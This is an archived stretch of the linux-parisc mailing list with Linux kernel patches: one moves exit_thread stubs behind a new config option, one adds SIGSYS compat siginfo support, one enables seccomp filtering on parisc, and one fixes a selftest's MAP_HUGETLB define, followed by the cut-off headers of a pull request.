--- a/arch/microblaze/include/asm/processor.h
+++ b/arch/microblaze/include/asm/processor.h
@@ -70,11 +70,6 @@ static inline void release_thread(struct task_struct *dead_task)
 {
 }
 
-/* Free all resources held by a thread. */
-static inline void exit_thread(void)
-{
-}
-
 extern unsigned long thread_saved_pc(struct task_struct *t);
 
 extern unsigned long get_wchan(struct task_struct *p);
@@ -127,11 +122,6 @@ static inline void release_thread(struct task_struct *dead_task)
 {
 }
 
-/* Free current thread data structures etc.  */
-static inline void exit_thread(void)
-{
-}
-
 /* Return saved (kernel) PC of a blocked thread.  */
 #  define thread_saved_pc(tsk)	\
 	((tsk)->thread.regs ? (tsk)->thread.regs->r15 : 0)
diff --git a/arch/mips/include/asm/processor.h b/arch/mips/include/asm/processor.h
index 06469df2b638..cfa15bad43af 100644
--- a/arch/mips/include/asm/processor.h
+++ b/arch/mips/include/asm/processor.h
@@ -359,10 +359,6 @@ static inline void flush_thread(void)
 {
 }
 
-static inline void exit_thread(void)
-{
-}
-
 unsigned long get_wchan(struct task_struct *p);
 
 #define __KSTK_TOS(tsk) ((unsigned long)task_stack_page(tsk) + \
diff --git a/arch/mn10300/Kconfig b/arch/mn10300/Kconfig
index 06ddb5501ab1..9627e81a6cbb 100644
--- a/arch/mn10300/Kconfig
+++ b/arch/mn10300/Kconfig
@@ -1,5 +1,6 @@
 config MN10300
 	def_bool y
+	select HAVE_EXIT_THREAD
 	select HAVE_OPROFILE
 	select HAVE_UID16
 	select GENERIC_IRQ_SHOW
diff --git a/arch/nios2/include/asm/processor.h b/arch/nios2/include/asm/processor.h
index c2ba45c159c7..1c953f0cadbf 100644
--- a/arch/nios2/include/asm/processor.h
+++ b/arch/nios2/include/asm/processor.h
@@ -75,11 +75,6 @@ static inline void release_thread(struct task_struct *dead_task)
 {
 }
 
-/* Free current thread data structures etc.. */
-static inline void exit_thread(void)
-{
-}
-
 /* Return saved PC of a blocked thread. */
 #define thread_saved_pc(tsk)	((tsk)->thread.kregs->ea)
 
diff --git a/arch/openrisc/include/asm/processor.h b/arch/openrisc/include/asm/processor.h
index 4d235e3d2534..70334c9f7d24 100644
--- a/arch/openrisc/include/asm/processor.h
+++ b/arch/openrisc/include/asm/processor.h
@@ -85,15 +85,6 @@ void release_thread(struct task_struct *);
 unsigned long get_wchan(struct task_struct *p);
 
 /*
- * Free current thread data structures etc..
- */
-
-extern inline void exit_thread(void)
-{
-	/* Nothing needs to be done.  */
-}
-
-/*
  * Return saved PC of a blocked thread. For now, this is the "user" PC
  */
 extern unsigned long thread_saved_pc(struct task_struct *t);
diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index 809905a811ed..40639439d8b3 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -144,13 +144,6 @@ void machine_power_off(void)
 void (*pm_power_off)(void) = machine_power_off;
 EXPORT_SYMBOL(pm_power_off);
 
-/*
- * Free current thread data structures etc..
- */
-void exit_thread(void)
-{
-}
-
 void flush_thread(void)
 {
 	/* Only needs to handle fpu stuff or perf monitors.
diff --git a/arch/powerpc/kernel/process.c b/arch/powerpc/kernel/process.c
index 612df305886b..e323020d91dd 100644
--- a/arch/powerpc/kernel/process.c
+++ b/arch/powerpc/kernel/process.c
@@ -1326,10 +1326,6 @@ void show_regs(struct pt_regs * regs)
 		show_instructions(regs);
 }
 
-void exit_thread(void)
-{
-}
-
 void flush_thread(void)
 {
 #ifdef CONFIG_HAVE_HW_BREAKPOINT
diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
index 43b25835325f..37941df616d9 100644
--- a/arch/s390/Kconfig
+++ b/arch/s390/Kconfig
@@ -130,6 +130,7 @@ config S390
 	select HAVE_DMA_API_DEBUG
 	select HAVE_DYNAMIC_FTRACE
 	select HAVE_DYNAMIC_FTRACE_WITH_REGS
+	select HAVE_EXIT_THREAD
 	select HAVE_FTRACE_MCOUNT_RECORD
 	select HAVE_FUNCTION_GRAPH_TRACER
 	select HAVE_FUNCTION_TRACER
diff --git a/arch/score/kernel/process.c b/arch/score/kernel/process.c
index a1519ad3d49d..aae9480706c2 100644
--- a/arch/score/kernel/process.c
+++ b/arch/score/kernel/process.c
@@ -56,8 +56,6 @@ void start_thread(struct pt_regs *regs, unsigned long pc, unsigned long sp)
 	regs->regs[0] = sp;
 }
 
-void exit_thread(void) {}
-
 /*
  * When a process does an "exec", machine state like FPU and debug
  * registers need to be reset.  This is a hook function for that.
diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
index 7ed20fc3fc81..cb93af8f8017 100644
--- a/arch/sh/Kconfig
+++ b/arch/sh/Kconfig
@@ -71,6 +71,7 @@ config SUPERH32
 
 config SUPERH64
 	def_bool ARCH = "sh64"
+	select HAVE_EXIT_THREAD
 	select KALLSYMS
 
 config ARCH_DEFCONFIG
diff --git a/arch/sh/kernel/process_32.c b/arch/sh/kernel/process_32.c
index 2885fc9d9dcd..ee12e9451874 100644
--- a/arch/sh/kernel/process_32.c
+++ b/arch/sh/kernel/process_32.c
@@ -76,13 +76,6 @@ void start_thread(struct pt_regs *regs, unsigned long new_pc,
 }
 EXPORT_SYMBOL(start_thread);
 
-/*
- * Free current thread data structures etc..
- */
-void exit_thread(void)
-{
-}
-
 void flush_thread(void)
 {
 	struct task_struct *tsk = current;
diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
index 57ffaf285c2f..b66aea06e9c9 100644
--- a/arch/sparc/Kconfig
+++ b/arch/sparc/Kconfig
@@ -20,6 +20,7 @@ config SPARC
 	select HAVE_OPROFILE
 	select HAVE_ARCH_KGDB if !SMP || SPARC64
 	select HAVE_ARCH_TRACEHOOK
+	select HAVE_EXIT_THREAD
 	select SYSCTL_EXCEPTION_TRACE
 	select ARCH_WANT_OPTIONAL_GPIOLIB
 	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
diff --git a/arch/tile/Kconfig b/arch/tile/Kconfig
index 81719302b056..174746225577 100644
--- a/arch/tile/Kconfig
+++ b/arch/tile/Kconfig
@@ -3,6 +3,7 @@
 
 config TILE
 	def_bool y
+	select HAVE_EXIT_THREAD
 	select HAVE_PERF_EVENTS
 	select USE_PMC if PERF_EVENTS
 	select HAVE_DMA_API_DEBUG
diff --git a/arch/um/kernel/process.c b/arch/um/kernel/process.c
index 48af59aae129..0b04711f1f18 100644
--- a/arch/um/kernel/process.c
+++ b/arch/um/kernel/process.c
@@ -103,10 +103,6 @@ void interrupt_end(void)
 		tracehook_notify_resume(regs);
 }
 
-void exit_thread(void)
-{
-}
-
 int get_current_pid(void)
 {
 	return task_pid_nr(current);
diff --git a/arch/unicore32/kernel/process.c b/arch/unicore32/kernel/process.c
index b008e9961465..00299c927852 100644
--- a/arch/unicore32/kernel/process.c
+++ b/arch/unicore32/kernel/process.c
@@ -201,13 +201,6 @@ void show_regs(struct pt_regs *regs)
 	__backtrace();
 }
 
-/*
- * Free current thread data structures etc..
- */
-void exit_thread(void)
-{
-}
-
 void flush_thread(void)
 {
 	struct thread_info *thread = current_thread_info();
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index 6bc6f9832d67..8f6196084eac 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -105,6 +105,7 @@ config X86
 	select HAVE_DYNAMIC_FTRACE
 	select HAVE_DYNAMIC_FTRACE_WITH_REGS
 	select HAVE_EFFICIENT_UNALIGNED_ACCESS
+	select HAVE_EXIT_THREAD
 	select HAVE_FENTRY			if X86_64
 	select HAVE_FTRACE_MCOUNT_RECORD
 	select HAVE_FUNCTION_GRAPH_FP_TEST
diff --git a/arch/xtensa/Kconfig b/arch/xtensa/Kconfig
index e832d3e9835e..c6b2ee78b617 100644
--- a/arch/xtensa/Kconfig
+++ b/arch/xtensa/Kconfig
@@ -15,6 +15,7 @@ config XTENSA
 	select GENERIC_PCI_IOMAP
 	select GENERIC_SCHED_CLOCK
 	select HAVE_DMA_API_DEBUG
+	select HAVE_EXIT_THREAD
 	select HAVE_FUNCTION_TRACER
 	select HAVE_FUTEX_CMPXCHG if !MMU
 	select HAVE_HW_BREAKPOINT if PERF_EVENTS
diff --git a/include/linux/sched.h b/include/linux/sched.h
index 362c0e20ebbb..de5370802828 100644
--- a/include/linux/sched.h
+++ b/include/linux/sched.h
@@ -2646,7 +2646,14 @@ static inline int copy_thread_tls(
 }
 #endif
 extern void flush_thread(void);
+
+#ifdef CONFIG_HAVE_EXIT_THREAD
 extern void exit_thread(void);
+#else
+static inline void exit_thread(void)
+{
+}
+#endif
 
 extern void exit_files(struct task_struct *);
 extern void __cleanup_sighand(struct sighand_struct *);
-- 
2.7.4




From - Thu Nov 08 21:38:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix SIGSYS signals in compat case
Date: Thu, 31 Mar 2016 12:22:32 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <20160331102232.GA30590@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1459419776 3713 80.91.229.3 (31 Mar 2016 10:22:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Mar 2016 10:22:56 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 31 12:22:49 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1alZkV-0000r0-Pd
	for glpp-linux-parisc@plane.gmane.org; Thu, 31 Mar 2016 12:22:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754145AbcCaKWq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Mar 2016 06:22:46 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:52396 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754063AbcCaKWp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Mar 2016 06:22:45 -0400
Original-Received: from p100.box ([92.203.38.102]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0LaFmY-1a0eOo22Na-00m37r; Thu, 31 Mar 2016 12:22:36
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:QLW05j7uHa3LRQOijwH9F8vURHZmqvcBIvw8Xa54PYDWBHARUed
 Mttinl3iGWr3rJU9FY97MZGAHClDrTw4Xgc+6hjrC2MOiqwI5kcskBEPnis7PjIakxwRSCC
 HJb6lkEWN+3YcoqaQWJBFb+1XY3Fybi0NI/nbmNyQeEwYjOqHwxObYnFCz1oPb5kB7JV1kg
 qy/rU4YlLKEKr/VH5WGlw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:C19Dupus3II=:UvdAvX4PvRhJSb1RnhTBi0
 TABXqRC/0TDv+t91T98qhmy0M3xbfpWRnWRlqQu4ovPGDpmSV2TkG1j20+ZPwdZsWi1P/uvlo
 d0/OoLHy3Gvg+ciwX4Xwj08aN48B22AQEargyPpvY1XSPG1jPt7Q511iW51yRMF8N//rV2PtM
 RlV5F0xd3RIWAoojaMMf9+HoSum0YudFzufNEfKDyliKU1Ar/spmMKIDunPRqyYdXlRe+eAx7
 5Ec0ry2oDJCLqHbzszNKMWZwEYYK0cIaXWC3OpvqcNdwrW6lhXm2F9B1yjNNxQN4iQy/Sq4qd
 Yjg8oTcJp2CaegwSvviKoB8q1UVSem1jy+Uzk9GkvbKbuVMkNGz+ektJmpJNgOMf2OSR25+yx
 XC3jpscXWnYuWkRkTFWg+nDt5rS7uwAiDHGXjd2+CWjeEdCHWhRw5DPXVWd/GfPhvVDHplC2C
 Vl1CDyrACLdJ8F+sFVgdg0jSd7kB7fNg7YAgxELC+QMbmWNt/S7XLLdeRqm0EHDcnBVIrODG2
 pAyg9bu+LGTDyE7xmFiQiHDL9BTeXgrmQdDsD6FYYB5QRKH2Vf5b4HnfrYyd9OhJPfB18zLtP
 spqy7+V8QtZ/AsK9Yw8eXRmAn4zqevZMadUXg8vJeWeI/tPOFoR6ahWQAoT/OIx7wrlS+Vks9
 JORCW2ko/d9FloLhCNYoBak9rGrl3LeQrha9TL3Om3V/0ypqB2wBss7Nt7xaeI8UyS5gtN+lZ
 rwCLuW4BipkqhbVmWSWU1BjkvAfIfC2jo4Virn5xOSgJRtsERKT6sz9rk/0=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26558
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26558>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/compat.h b/arch/parisc/include/asm/compat.h
index 0448a2c..3387307 100644
--- a/arch/parisc/include/asm/compat.h
+++ b/arch/parisc/include/asm/compat.h
@@ -183,6 +183,13 @@ typedef struct compat_siginfo {
 			int _band;      /* POLL_IN, POLL_OUT, POLL_MSG */
 			int _fd;
 		} _sigpoll;
+
+		/* SIGSYS */
+		struct {
+			compat_uptr_t _call_addr; /* calling user insn */
+			int _syscall;	/* triggering system call number */
+			compat_uint_t _arch;	/* AUDIT_ARCH_* of syscall */
+		} _sigsys;
 	} _sifields;
 } compat_siginfo_t;
 
diff --git a/arch/parisc/kernel/signal32.c b/arch/parisc/kernel/signal32.c
index 984abbe..c342b2e 100644
--- a/arch/parisc/kernel/signal32.c
+++ b/arch/parisc/kernel/signal32.c
@@ -371,6 +371,11 @@ copy_siginfo_to_user32 (compat_siginfo_t __user *to, const siginfo_t *from)
 			val = (compat_int_t)from->si_int;
 			err |= __put_user(val, &to->si_int);
 			break;
+		case __SI_SYS >> 16:
+			err |= __put_user(ptr_to_compat(from->si_call_addr), &to->si_call_addr);
+			err |= __put_user(from->si_syscall, &to->si_syscall);
+			err |= __put_user(from->si_arch, &to->si_arch);
+			break;
 		}
 	}
 	return err;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix and enable seccomp filter support
Date: Thu, 31 Mar 2016 12:24:09 +0200
Lines: 97
Approved: news@gmane.org
Message-ID: <20160331102409.GB30590@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1459419877 5549 80.91.229.3 (31 Mar 2016 10:24:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Mar 2016 10:24:37 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 31 12:24:26 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1alZm4-0001U7-IS
	for glpp-linux-parisc@plane.gmane.org; Thu, 31 Mar 2016 12:24:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751830AbcCaKYW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Mar 2016 06:24:22 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:54448 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751654AbcCaKYW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Mar 2016 06:24:22 -0400
Original-Received: from p100.box ([92.203.38.102]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0M9OMc-1aZzBz1i2A-00CgTB; Thu, 31 Mar 2016 12:24:13
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:yBbKyBLcnAa72IKhehK+5RULsmTX+/A/qYkxDz8CYw6HJf6U4wb
 YhXcEJ1OyW7nllTcz+7LVhCOG+wCAZPgL3HIT9umWk0DC7n8szQkOiWgivUIJp5MECIiZFx
 1Ne9KrmcYhBTnoNSJ+Zq3dm/ON5/BNaRz0NPrFdijU6WCvetKhAfIHEJMDuOc2G8Fnlqwel
 cBdu/B5gD6Jw0cAGlh+Iw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:7U6T9VedtuU=:kTlDJu5gGDTFh9uUDt67yk
 nfGU7+JcBF8C9qDmuNAgzuDr9mJBQB7eo0GlsQUGv7eF0Mjiux1cmJPnPvjWwouoICZqJz/vV
 mV+epqaxwnpIQSiX+vbvC1IG9Bp05ULSyl9LdG5pTT0N06gD15ifMGkpMZkDsKA9hHnCFV3YN
 t+bpYQ+dqD8pgqLrlhxaa2xaI1Xj12VqsJG0Qhz9yljG/Td1atc48GtXbKVwDfnGd8mG/W/bC
 I0IgLAT5JOVlOvokNRepvRvxuOw7UvCFMTEkW0dvqwTg9FdnDIVNbuyqTyD/cRT/Ub96nusDv
 VJu0wh55lugA32MRQ7sp7YE3NEyjQqvUTaQ/Ds579gJFgNkQGWUoi+UvQG8Qj01nbm+56GpNU
 KOOliV0ftJRuBKQ7D43SgfUfEkHgCuIDbpv7QR05PFgn1kZf/JKJiBSyNcFtPKbb36g/sx432
 oNRieTBoLUXtrCRj99grh0xD5t/dTx5OTfvmHdBBtU6SGz5cG6BGUttwd4id0Oq0DtSKRYYb0
 LuDHjwbvrNQPPtvA3Rok35xuveS2VHXxgH3qOsIrmxyJUbX5mOY2Sa8F5cI3h53bcHnrxES8t
 T6yHLeXqxEqhA96w+laJaOZRjMLheQeAfbNzA9dr81nOLph8sqvO9oq/N7dQQ5sv+C5BiiPMa
 WBbHPIzBPb/iDmUE6rZ2/yqH7ZC4934OYxYMXL7cXY9zUCu1e/UTDE5Emon1bS809LGJ1/vQD
 wipgUA+wPuMK86Bvfya/XhZ129BJ0qKtO7J/U7ebF4Os68tF5baeUZOG3vk=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26559
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26559>

The seccomp filter support requires careful handling of task registers.
This includes reloading of the return value (%r28) and clean exiting at
syscall exit if secure_computing() returned -1. Additionally we need to
sign-extend the syscall number from signed 32bit to signed 64bit in
do_syscall_trace_enter() since the ptrace interface only allows setting
32bit values in compat mode.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 14f655c..86ed376 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -29,6 +29,7 @@ config PARISC
 	select TTY # Needed for pdc_cons.c
 	select HAVE_DEBUG_STACKOVERFLOW
 	select HAVE_ARCH_AUDITSYSCALL
+	select HAVE_ARCH_SECCOMP_FILTER
 	select ARCH_NO_COHERENT_DMA_MMAP
 
 	help
diff --git a/arch/parisc/include/asm/syscall.h b/arch/parisc/include/asm/syscall.h
index a5eba95..637ce8d 100644
--- a/arch/parisc/include/asm/syscall.h
+++ b/arch/parisc/include/asm/syscall.h
@@ -39,6 +39,19 @@ static inline void syscall_get_arguments(struct task_struct *tsk,
 	}
 }
 
+static inline void syscall_set_return_value(struct task_struct *task,
+					    struct pt_regs *regs,
+					    int error, long val)
+{
+	regs->gr[28] = error ? error : val;
+}
+
+static inline void syscall_rollback(struct task_struct *task,
+				    struct pt_regs *regs)
+{
+	/* do nothing */
+}
+
 static inline int syscall_get_arch(void)
 {
 	int arch = AUDIT_ARCH_PARISC;
diff --git a/arch/parisc/kernel/ptrace.c b/arch/parisc/kernel/ptrace.c
index ce0b2b4..8fb81a3 100644
--- a/arch/parisc/kernel/ptrace.c
+++ b/arch/parisc/kernel/ptrace.c
@@ -270,7 +270,8 @@ long compat_arch_ptrace(struct task_struct *child, compat_long_t request,
 long do_syscall_trace_enter(struct pt_regs *regs)
 {
 	/* Do the secure computing check first. */
-	secure_computing_strict(regs->gr[20]);
+	if (secure_computing() == -1)
+		return -1;
 
 	if (test_thread_flag(TIF_SYSCALL_TRACE) &&
 	    tracehook_report_syscall_entry(regs)) {
@@ -296,7 +297,11 @@ long do_syscall_trace_enter(struct pt_regs *regs)
 			regs->gr[23] & 0xffffffff);
 
 out:
-	return regs->gr[20];
+	/*
+	 * Sign extend the syscall number to 64bit since it may have been
+	 * modified by a compat ptrace call
+	 */
+	return (int) ((u32) regs->gr[20]);
 }
 
 void do_syscall_trace_exit(struct pt_regs *regs)
diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index fbafa0d..c976ebf 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -329,6 +329,7 @@ tracesys_next:
 
 	ldo     -THREAD_SZ_ALGN-FRAME_SIZE(%r30),%r1      /* get task ptr */
 	LDREG	TI_TASK(%r1), %r1
+	LDREG   TASK_PT_GR28(%r1), %r28		/* Restore return value */
 	LDREG   TASK_PT_GR26(%r1), %r26		/* Restore the users args */
 	LDREG   TASK_PT_GR25(%r1), %r25
 	LDREG   TASK_PT_GR24(%r1), %r24
@@ -342,6 +343,7 @@ tracesys_next:
 	stw     %r21, -56(%r30)                 /* 6th argument */
 #endif
 
+	cmpib,COND(=),n -1,%r20,tracesys_exit /* seccomp may have returned -1 */
 	comiclr,>>=	__NR_Linux_syscalls, %r20, %r0
 	b,n	.Ltracesys_nosys
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] selftests/thuge-gen: Use platform specific MAP_HUGETLB value
Date: Thu, 31 Mar 2016 13:11:05 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <20160331111105.GA30888@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1459422686 17320 80.91.229.3 (31 Mar 2016 11:11:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Mar 2016 11:11:26 +0000 (UTC)
To: linux-parisc@vger.kernel.org, linux-kselftest@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 31 13:11:14 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1alaVM-0002Xx-CY
	for glpp-linux-parisc@plane.gmane.org; Thu, 31 Mar 2016 13:11:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754429AbcCaLLM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Mar 2016 07:11:12 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:55621 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752720AbcCaLLL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Mar 2016 07:11:11 -0400
Original-Received: from p100.box ([92.203.38.102]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0LreCz-1ZiezG1A7R-013RcV; Thu, 31 Mar 2016 13:11:07
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:I1HpC2V/hdUBdjxSuR8zEoHF2SEkPvKaZRSQzK3qaGrhtpvXbyj
 mNZb72N7ecg7ulkZPNG0pt25TRsX/A5SylOJjh4e4N7VxTprxpJwrDZ4+Y0Np1JOYbyToDi
 6P40sLic8fe2XtjrPyFSL9/Em/zMRyxN0YBt4MvwfDpR2gvijPCgr3SGEJlT4qqOZfSOPHc
 6D1g0G0L1v2f0VMy6TVxg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:C6ND+9q2UFA=:u4BHPuRmEDlu4OB17MjLxV
 0NmSY5Fm8k3ucM8mp/GuaiBAqpKinruzc3KxbOKoogwFiwIQajvCLsclSk9BgmwH2zLLrmmNm
 CRf5fb6UqvTIOicfFGJ9A3SKyfKtSZ9nj5ubL9axy7APStw6Our/ZqCBerYmUMV30oToUIvro
 ZGWHU5Wn24UU7cWR7SrqRo5O7Di5pgf6JDOy4bwE5VRpIu1+x+vakZSakW4XPJLW0yqLFE1/1
 KsyqCFH0OcEdLX79yjed/515BN9P7xwqsD5GtrhxgR2vWAt/6f3kqEAmaSC/ibfpZdgddfznr
 ZSgyqoadCaN0d78edarZXbFYioHkmEXnQ3Lbxzm9TJQhLppBcwJ5fY0+sO3txOsaD/HD//4q0
 MNVXvGNPbkOeTzJvlCTZPB3gieq4rG5KZvlQgoqMi3AV+xt87sK78aCL7j2HtagWLWTs7zULp
 +NLH2C/vxNy+X+SPTGtzKn55HzE3pm/k+v0lFSwr9ILAd2gmgHH44ovg2gAYiEuP7sGSpv62R
 xsw27okR5q4QiCYmCF3g3DuUmnjVRWvPiE8tmhK+brlNV8GyGV89Du875nBu08vCgsoeE4XzB
 +QO7JxAk/hxGpvXXrtYe8/7L45zo+YJrP4r4MEHsJJ5GBvPrFwoOwJCJO3dL8LIFQKEqQebdJ
 OOgFtTqNmb7AACaysfpIG+Z/GjlwVXUuSxV+A3gGepG5TUA5eGRSdnEjQRyCKMVGAFJl4EAZQ
 iF5E3fI8DuVn4q0hc5dWIEkFUVYmZdj4/nvu5GbyVhD3JnLi6XcLOGt1oqA=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26560
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26560>

Do not hardcode MAP_HUGETLB to 0x40000, since quite some architectures
use a different value.

Tested with a parisc architecture 64bit kernel.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/tools/testing/selftests/vm/thuge-gen.c b/tools/testing/selftests/vm/thuge-gen.c
index c879572..0bc737a 100644
--- a/tools/testing/selftests/vm/thuge-gen.c
+++ b/tools/testing/selftests/vm/thuge-gen.c
@@ -30,7 +30,9 @@
 #define MAP_HUGE_1GB    (30 << MAP_HUGE_SHIFT)
 #define MAP_HUGE_SHIFT  26
 #define MAP_HUGE_MASK   0x3f
+#if !defined(MAP_HUGETLB)
 #define MAP_HUGETLB	0x40000
+#endif
 
 #define SHM_HUGETLB     04000   /* segment will use huge TLB pages */
 #define SHM_HUGE_SHIFT  26
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc fixes for v4.6 rc2
Date: Thu, 31 Mar 2016 14:49:44 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <20160331124944.GA6181@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1459428611 16485 80.91.229.3 (31 Mar 2016 12:50:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Mar 2016 12:50:11 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 31 14:50:02 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1alc2z-00072E-FH
